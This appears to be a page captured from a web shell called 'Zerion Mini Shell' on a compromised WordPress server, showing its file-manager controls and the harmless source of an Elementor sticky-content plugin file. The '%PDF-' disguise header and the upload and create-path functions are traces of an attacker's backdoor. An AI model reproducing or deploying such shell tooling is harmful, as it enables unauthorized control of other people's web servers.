%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/higroup/wp-content/plugins/evenex-essential/modules/sticky-content/
Upload File :
Create Path :
Current File : /var/www/html/higroup/wp-content/plugins/evenex-essential/modules/sticky-content/init.php

<?php
namespace ElementsKit\Modules\Sticky_Content;

defined( 'ABSPATH' ) || exit;

class Init{
    private $dir;
    private $url;

    public function __construct(){

        // get current directory path
        $this->dir = dirname(__FILE__) . '/';

        // get current module's url
		$this->url = \Evenex_Modules::module_url() . 'sticky-content/';

		// // enqueue scripts
		add_action('elementor/frontend/before_enqueue_scripts', [$this, 'editor_scripts']);

		// // include all necessary files
		$this->include_files();

		// // calling the sticky controls
		new \Elementor\Evenex_Extend_Sticky();

	}

	public function include_files(){
		include $this->dir . 'extend-controls.php';
	}

	public function editor_scripts(){
		wp_enqueue_script( 'elementskit-sticky-content-script', $this->url . 'assets/js/jquery.sticky.js', array( 'jquery', 'elementor-frontend' ), \ElementsKit_Lite::version(), true );
		wp_enqueue_script( 'elementskit-sticky-content-script-init', $this->url . 'assets/js/main.js', array( 'jquery', 'elementor-frontend' ), \ElementsKit_Lite::version(), true );
	}
}

Zerion Mini Shell 1.0